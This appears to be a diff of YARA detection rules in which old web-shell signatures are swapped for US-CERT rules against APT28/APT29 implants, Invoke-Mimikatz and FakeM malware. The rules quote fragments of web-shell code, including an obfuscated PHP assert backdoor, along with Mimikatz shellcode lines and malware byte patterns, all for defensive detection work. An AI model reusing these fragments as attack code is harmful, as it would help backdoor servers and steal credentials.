+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1245-L1258"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7e81e8bcc305b9b7166db85d81278c96edf232bf60040ef15a2376f204ca3046"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s5 = "echo \" <font color='#0000FF'>CHMODU \".substr(base_convert(@fileperms($"
-		$s7 = "echo \"<a href='./$this_file?op=efp&fname=$path/$file&dismi=$file&yol=$path'><fo"
+		$obf_func = { 8B 45 F8 6A 07 03 C7 33 D2 89 45 E8 8D 47 01 5B 02 4D 0F F7 F3 6A 07 8A 04 32 33 D2 F6 E9 8A C8 8B C7 F7 F3 8A 44 3E FE 02 45 FC 02 0C 32 B2 03 F6 EA 8A D8 8D 47 FF 33 D2 5F F7 F7 02 5D 14 8B 45 E8 8B 7D F4 C0 E3 06 02 1C 32 32 CB 30 08 8B 4D 14 41 47 83 FF 09 89 4D 14 89 7D F4 72 A1 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Php_List
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_6_V3 : FILE
 {
 	meta:
-		description = "Web Shell - file list.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Sednit / EVILTOSS Implant by APT28"
+		author = "US CERT"
+		id = "db090bc5-a90f-5b66-8fcb-29b423dddbf7"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L711-L726"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "922b128ddd90e1dc2f73088956c548ed"
-		logic_hash = "007f9307493bca71dcbdcf6ba6c45bf36899e8f636ccbd09c26453cb0aea0847"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1260-L1275"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "833a6a3a4ff8ca43d4cf8053bfd1da49df96d9833dd3fe0f3ffbf6ce6c114681"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s1 = "// list.php = Directory & File Listing" fullword
-		$s2 = "    echo \"( ) <a href=?file=\" . $fichero . \"/\" . $filename . \">\" . $filena"
-		$s9 = "// by: The Dark Raver" fullword
+		$deob_func = { 8D 46 01 02 D1 83 E0 07 8A 04 38 F6 EA 8B D6 83 E2 07 0A
+         04 3A 33 D2 8A 54 37 FE 03 D3 03 D1 D3 EA 32 C2 8D 56 FF 83 E2 07 8A
+         1C 3A 8A 14 2E 32 C3 32 D0 41 88 14 2E 46 83 FE 0A 7C ?? }
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Ironshell
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_6_V4 : FILE
 {
 	meta:
-		description = "Web Shell - file ironshell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Sednit / EVILTOSS Implant by APT28"
+		author = "US CERT"
+		id = "27118ec8-3713-5670-88d2-3ac57c155c0d"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L727-L741"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
-		logic_hash = "7e4916010a33383cfc3cbbcd5d575ac2f3a579220b66bd07e3121f3db30da66d"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1277-L1291"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f5388668e148223bc94680ea84e83b0f2896ccf433523d171c8f46d7069f9a4b"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s4 = "print \"<form action=\\\"\".$me.\"?p=cmd&dir=\".realpath('.').\""
-		$s8 = "print \"<td id=f><a href=\\\"?p=rename&file=\".realpath($file).\"&di"
+		$ASM = {53 5? 5? [6-15] ff d? 8b ?? b? a0 86 01 00 [7-13] ff d? ?b
+         [6-10] c0 [0-1] c3}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Caidao_Shell_404
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_6_V5 : FILE
 {
 	meta:
-		description = "Web Shell - file 404.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Sednit / EVILTOSS Implant by APT28"
+		author = "US CERT"
+		id = "d035eaff-8c2a-53a2-b629-6448b2bcc9f6"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L742-L755"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ee94952dc53d9a29bdf4ece54c7a7aa7"
-		logic_hash = "0743d18bc5066c96cca8cc0883971d3bc876e6c2fbb996e55b6930c715e07395"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1293-L1327"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b3ba650818ddbc58ce272ae4851ae3151a8cf1c9cc6f8e234a50b52c95d951fe"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "<?php $K=sTr_RepLaCe('`','','a`s`s`e`r`t');$M=$_POST[ice];IF($M==NuLl)HeaDeR('St"
+		$STR1 = { 83 EC 18 8B 4C 24 24 B8 AB AA AA AA F7 E1 8B 44 24 20 53 55 8B
+         EA 8D 14 08 B8 AB AA AA AA 89 54 24 1C F7 E2 56 8B F2 C1 ED 02 8B DD
+         57 8B 7C 24 38 89 6C 24 1C C1 EE 02 3B DE 89 5C 24 18 89 74 24 20 0F
+         83 CF 00 00 00 8D 14 5B 8D 44 12 FE 89 44 24 10 3B DD 0F 85 CF 00 00
+         00 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA 83 F9 06 89 4C 24 38 0F 83
+         86 00 00 00 8A C3 B2 06 F6 EA 8B 54 24 10 88 44 24 30 8B 44 24 2C 8D
+         71 02 03 D0 89 54 24 14 8B 54 24 10 33 C0 8A 44 37 FE 03 D6 8B D8 8D
+         46 FF 0F AF DA 33 D2 BD 06 00 00 00 F7 F5 C1 EB 07 8A 04 3A 33 D2 32
+         D8 8D 46 01 F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5
+         8A 04 3A 22 C8 8B 44 24 14 02 D9 8A 0C 30 32 CB 88 0C 30 8B 4C 24 38
+         41 46 83 FE 08 89 4C 24 38 72 A1 8B 5C 24 18 8B 6C 24 1C 8B 74 24 20
+         8B 4C 24 10 43 83 C1 06 3B DE 89 4C 24 10 8B 4C 24 34 89 5C 24 18 0F
+         82 3C FF FF FF 3B DD 75 1A 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA EB
+         0D 33 C9 89 4C 24 38 E9 40 FF FF FF 33 C9 8B 44 24 24 33 D2 BE 06 00
+         00 00 89 4C 24 38 F7 F6 3B CA 89 54 24 24 0F 83 95 00 00 00 8A C3 B2
+         06 F6 EA 8D 1C 5B 88 44 24 30 8B 44 24 2C 8D 71 02 D1 E3 89 5C 24 34
+         8D 54 03 FE 89 54 24 14 EB 04 8B 5C 24 34 33 C0 BD 06 00 00 00 8A 44
+         3E FE 8B D0 8D 44 1E FE 0F AF D0 C1 EA 07 89 54 24 2C 8D 46 FF 33 D2
+         BB 06 00 00 00 F7 F3 8B 5C 24 2C 8A 04 3A 33 D2 32 D8 8D 46 01 F7 F5
+         8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B
+         44 24 14 02 D9 8A 0C 06 32 CB 88 0C 06 8B 4C 24 38 8B 44 24 24 41 46
+         3B C8 89 4C 24 38 72 8F 5F 5E 5D 5B 83 C4 18 C2 10 00 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_ASP_Aspydrv
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_6_V6 : FILE
 {
 	meta:
-		description = "Web Shell - file aspydrv.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Sednit / EVILTOSS Implant by APT28"
+		author = "US CERT"
+		id = "89cc3764-d60c-5cbd-af32-a90d8b3400d7"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L756-L769"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "de0a58f7d1e200d0b2c801a94ebce330"
-		logic_hash = "a4a6205ace49778ddc421b0f0e65c576e2ffe40ce2ab84debb939d5324420405"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1329-L1343"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "77b5f95cd897c82c200ee6fa3970824adccfd7c56639d92361095f919781d731"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s3 = "<%=thingy.DriveLetter%> </td><td><tt> <%=thingy.DriveType%> </td><td><tt> <%=thi"
+		$Init1_fun = {68 10 27 00 00 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 6A FF 50
+         FF 15 ?? ?? ?? ?? 33 C0 C3}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Web
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_7_V1 : FILE
 {
 	meta:
-		description = "Web Shell - file web.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Implant 7 by APT29"
+		author = "US CERT"
+		id = "ce83c157-af03-55cb-a2be-0b6543fedb5b"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L770-L783"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4bc11e28f5dccd0c45a37f2b541b2e98"
-		logic_hash = "ed0ace0ba5f8a9e763353c42e3e3a39da10596e8517aad33e5c5080b44e4d61a"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1368-L1381"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "996f81fe006e0ab15adab46275fdb60251e6c6616da33df600fadfc2684c24af"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "<%@page import=\"java.io.*\"%><%@page import=\"java.net.*\"%><%String t=request."
+		$STR1 = { 8A 44 0A 03 32 C3 0F B6 C0 66 89 04 4E 41 3B CF 72 EE }
+		$STR2 = { F3 0F 6F 04 08 66 0F EF C1 F3 0F 7F 04 11 83 C1 10 3B CF 72 EB }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D) and ($STR1 or $STR2)
 }
-rule SIGNATURE_BASE_Webshell_Mysqlwebsh
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_8_V1 : FILE
 {
 	meta:
-		description = "Web Shell - file mysqlwebsh.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "HAMMERTOSS / HammerDuke Implant by APT29"
+		author = "US CERT"
+		id = "eeaa43c1-6004-5d64-bdc1-f84b3c68d741"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L784-L797"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "babfa76d11943a22484b3837f105fada"
-		logic_hash = "365d19c086b3bbb98cbe1e1ed1e7522ce98dc2614a39c747717c277cebef33d2"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1383-L1411"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "437bda331405f9203747ffbfb107ec26e33973ebfc9f02e153697f7b8c22ad4f"
+		score = 65
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s3 = " <TR><TD bgcolor=\"<? echo (!$CONNECT && $action == \"chparam\")?\"#660000\":\"#"
+		$DOTNET = "mscorlib" ascii
+		$REF_URL = "https://www.google.com/url?sa=" wide
+		$REF_var_1 = "&rct=" wide
+		$REF_var_2 = "&q=&esrc=" wide
+		$REF_var_3 = "&source=" wide
+		$REF_var_4 = "&cd=" wide
+		$REF_var_5 = "&ved=" wide
+		$REF_var_6 = "&url=" wide
+		$REF_var_7 = "&ei=" wide
+		$REF_var_8 = "&usg=" wide
+		$REF_var_9 = "&bvm=" wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D) and ($DOTNET) and ($REF_URL) and (3 of ($REF_var*))
 }
-rule SIGNATURE_BASE_Webshell_Jspshell
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_9_V1 : FILE
 {
 	meta:
-		description = "Web Shell - file jspShell.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Onion Duke Implant by APT29"
+		author = "US CERT"
+		id = "5460ff29-681b-5d11-a6ba-5f294e8577e6"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L798-L812"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0d5b5a17552254be6c1c8f1eb3a5fdc1"
-		logic_hash = "058ddd64b142cada7144b9befa81ada314b72e6f23524d98efcb10136c23ed33"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1431-L1447"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "76704410af27060131ee4a5f46601b8badbf822d8084511145078607db715651"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "<input type=\"checkbox\" name=\"autoUpdate\" value=\"AutoUpdate\" on"
-		$s1 = "onblur=\"document.shell.autoUpdate.checked= this.oldValue;"
+		$STR1 = { 8B 03 8A 54 01 03 32 55 FF 41 88 54 39 FF 3B CE 72 EE }
+		$STR2 = { 8B C8 83 E1 03 8A 54 19 08 8B 4D 08 32 54 01 04 40 88 54 38 FF
+         3B C6 72 E7 }
+		$STR3 = { 8B 55 F8 8B C8 83 E1 03 8A 4C 11 08 8B 55 FC 32 0C 10 8B 17 88
+         4C 02 04 40 3B 06 72 E3 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Dx_Dx
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_10_V2 : FILE
 {
 	meta:
-		description = "Web Shell - file Dx.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CozyDuke / CozyCar / CozyBear Implant by APT29"
+		author = "US CERT"
+		id = "9c6d4eb9-98a5-5c6d-ba3a-0ce7524c5d2a"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L813-L827"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
-		logic_hash = "c2eddf58b25caff79460ab9a87ac0573d483866a87c1b1ec0984afce2c22b29f"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1468-L1481"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dc201d25b1d6cf8f88ae3bee18057902c4d64316aa9debc9248b0d8aa7f6d170"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s1 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
-		$s9 = "class=linelisting><nobr>POST (php eval)</td><"
+		$xor = { 34 ?? 66 33 C1 48 FF C1 }
+		$nop = { 66 66 66 66 66 66 0f 1f 84 00 00 00 00 00}
 
 	condition:
-		1 of them
+		uint16(0)==0x5A4D and $xor and $nop
 }
-rule SIGNATURE_BASE_Webshell_Asp_Ntdaddy
+import "pe"
+
+rule SIGNATURE_BASE_Unidentified_Malware_Two
 {
 	meta:
-		description = "Web Shell - file ntdaddy.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Unidentified Implant by APT29"
+		author = "US CERT"
+		id = "848f2d1f-e352-51c1-ac5d-841bf309f2f2"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L828-L842"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c5e6baa5d140f73b4e16a6cfde671c68"
-		logic_hash = "7237eb7233c6affcc1f67a764f704b7d7e1d13f71c64893286c6c99318cc7c3e"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1520-L1542"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cd9adfb9e27e4d6b27498cc029e15132343f036cca60210528720a533fe20d9a"
+		score = 85
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s9 = "if  FP  =  \"RefreshFolder\"  or  "
-		$s10 = "request.form(\"cmdOption\")=\"DeleteFolder\"  "
+		$my_string_one = "/zapoy/gate.php"
+		$my_string_two = { E3 40 FE 45 FD 0F B6 45 FD 0F B6 14 38 88 55 FF 00 55
+         FC 0F B6 45 FC 8A 14 38 88 55 FE 0F B6 45 FD 88 14 38 0F B6 45 FC 8A
+         55 FF 88 14 38 8A 55 FF 02 55 FE 8A 14 3A 8B 45 F8 30 14 30 }
+		$my_string_three = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb"
+		$my_string_four = { 8B CF 0F AF CE 8B C6 99 2B C2 8B 55 08 D1 F8 03 C8
+         8B 45 FC 03 C2 89 45 10 8A 00 2B CB 32 C1 85 DB 74 07 }
+		$my_string_five = "fuckyou1"
+		$my_string_six = "xtool.exe"
 
 	condition:
-		1 of them
+		($my_string_one and $my_string_two) or ($my_string_three or $my_string_four) or ($my_string_five and $my_string_six)
 }
-rule SIGNATURE_BASE_Webshell_Mysql_Web_Interface_Version_0_8
+rule SIGNATURE_BASE_Invoke_Mimikatz
 {
 	meta:
-		description = "Web Shell - file MySQL Web Interface Version 0.8.php"
+		description = "Detects Invoke-Mimikatz String"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "37de51a6-e1bb-5ee7-9b7f-8fe17b3697b5"
+		date = "2016-08-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L843-L856"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "36d4f34d0a22080f47bb1cb94107c60f"
-		logic_hash = "680d4368804ad21e46dbe400563beca3ef724711b5432dccce1276ecadc04f2c"
-		score = 70
+		reference = "https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_invoke_mimikatz.yar#L10-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b9bfa54a64d6f6b8af97ec62c9102ccf0912a19b65fbd25a4836480e63497a00"
+		score = 75
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67"
 
 	strings:
-		$s2 = "href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>"
+		$x2 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm" ascii
+		$x3 = "Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp" fullword ascii
 
 	condition:
-		all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Webshell_Elmaliseker_2
+rule SIGNATURE_BASE_Fakem_Generic : FILE
 {
 	meta:
-		description = "Web Shell - file elmaliseker.asp"
+		description = "Detects FakeM malware samples"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L857-L871"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
-		logic_hash = "ca300cd142b3c8b820d3b5f5a56eeb834d9acb1d85916b932bd67fb4a25f4ed0"
-		score = 70
+		id = "51a285ce-a4cb-5068-b079-a8227690365f"
+		date = "2016-01-25"
+		modified = "2023-01-06"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fakem_backdoor.yar#L8-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0ee606be48961d1e4c1fd9e0e10b53603cfd62cec652baef62f893c0a9e9684c"
+		score = 85
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "631fc66e57acd52284aba2608e6f31ba19e2807367e33d8704f572f6af6bd9c3"
+		hash2 = "3d9bd26f5bd5401efa17690357f40054a3d7b438ce8c91367dbf469f0d9bd520"
+		hash3 = "53af257a42a8f182e97dcbb8d22227c27d654bea756d7f34a80cc7982b70aa60"
+		hash4 = "4a4dfffae6fc8be77ac9b2c67da547f0d57ffae59e0687a356f5105fdddc88a3"
+		hash5 = "7bfbf49aa71b8235a16792ef721b7e4195df11cb75371f651595b37690d108c8"
+		hash6 = "12dedcdda853da9846014186e6b4a5d6a82ba0cf61d7fa4cbe444a010f682b5d"
+		hash7 = "9adda3d95535c6cf83a1ba08fe83f718f5c722e06d0caff8eab4a564185971c5"
+		hash8 = "3209ab95ca7ee7d8c0140f95bdb61a37d69810a7a23d90d63ecc69cc8c51db90"
+		hash9 = "41948c73b776b673f954f497e09cc469d55f27e7b6e19acb41b77f7e64c50a33"
+		hash10 = "53cecc0d0f6924eacd23c49d0d95a6381834360fbbe2356778feb8dd396d723e"
